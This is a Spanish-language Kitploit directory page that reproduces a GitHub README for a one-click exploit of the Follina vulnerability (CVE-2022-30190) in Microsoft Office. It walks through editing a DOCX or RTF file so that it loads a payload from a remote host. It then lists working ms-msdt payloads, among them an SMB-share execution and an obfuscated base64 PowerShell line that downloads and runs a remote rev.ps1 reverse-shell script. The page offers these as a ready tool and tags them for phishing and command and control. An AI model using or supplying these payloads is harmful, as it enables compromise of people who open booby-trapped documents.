Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
MS-MSDT-Office-RCE-Follina — CVE-2022-30190 | MS-MSDT Follina Un clic | Kitploit
Herramientas/GitHubGitHub/0xflagplz/ms-msdt-office-rce-follina
Herramientas de PhishingGeneración de PayloadsExplotaciónMovimiento LateralExplotación de Aplicaciones WebComando y Control
GitHub0xflagplz/ms-msdt-office-rce-follina

MS-MSDT-Office-RCE-Follina

CVE-2022-30190 | MS-MSDT Follina Un clic

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
20124hace 4 añosRevisado por Kitploit

MS-MSDT-Office-RCE-Follina

CVE-2022-30190 | MS-MSDT Follina Un clic

  1. Crear un archivo Docx.
  2. En el archivo Docx, Insertar > Objeto > Imagen de mapa de bits > Aceptar.
  3. En la aplicación Paint que se inició, guardar el archivo de Paint.
  4. Guardar tu archivo Docx.
  5. Abrir tu archivo como un archivo (con 7Zip; Clic derecho > 7Zip > Abrir archivo).
  6. Copiar el archivo Document.xml de \Word\ y el archivo document.xml.rels de \word_rels.
  7. Abrir/Editar el archivo \word_rels\Document.xml.rels y localizar la etiqueta XML de relación con "/relationships/oleObject". Después de esto, reemplazar el destino en "Target=" por tu destino remoto desde donde se obtendrá el payload. También añadir "TargetMode="External"" a la etiqueta XML.
  8. Comprimir de nuevo en un archivo Docx (Enviar a > Carpeta comprimida (en zip) | Cambiar nombre del tipo de archivo de zip a docx/doc).

Tipo de archivo RTF

Una vez que se haya guardado un docx utilizando los parámetros del paso / parámetros a continuación. Guardar el Docx como RTF.

Si también añades estos elementos debajo del elemento <o:OLEObject> en word/document.xml:

root@kitploit:~
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>

El proceso de recompresión se puede observar también en el script de Python de JohnHammond:
~ Rebuild the original office file ~

root@kitploit:~
shutil.make_archive(args.output, "zip", doc_path)  
os.rename(args.output + ".zip", args.output)  

Referencia: https://github.com/JohnHammond/msdt-follina/blob/main/follina.py


Payloads

Ejecución básica de calc:

root@kitploit:~
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>

Se puede reemplazar Start-Process('calc') con:

IEX('calc.exe')


Ejecución a través de recurso compartido SMB:

root@kitploit:~
<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";
</script>

Carga de archivo PS1:

root@kitploit:~
<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>  

Decodificado: Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("powershell.exe -c "iex (iwr http://192.168.198.128/rev.ps1 -UseBasicParsing)""))


El archivo access.log de Apache2 debería mostrar la conexión al abrir el archivo

Ejemplo de log

Descargar herramienta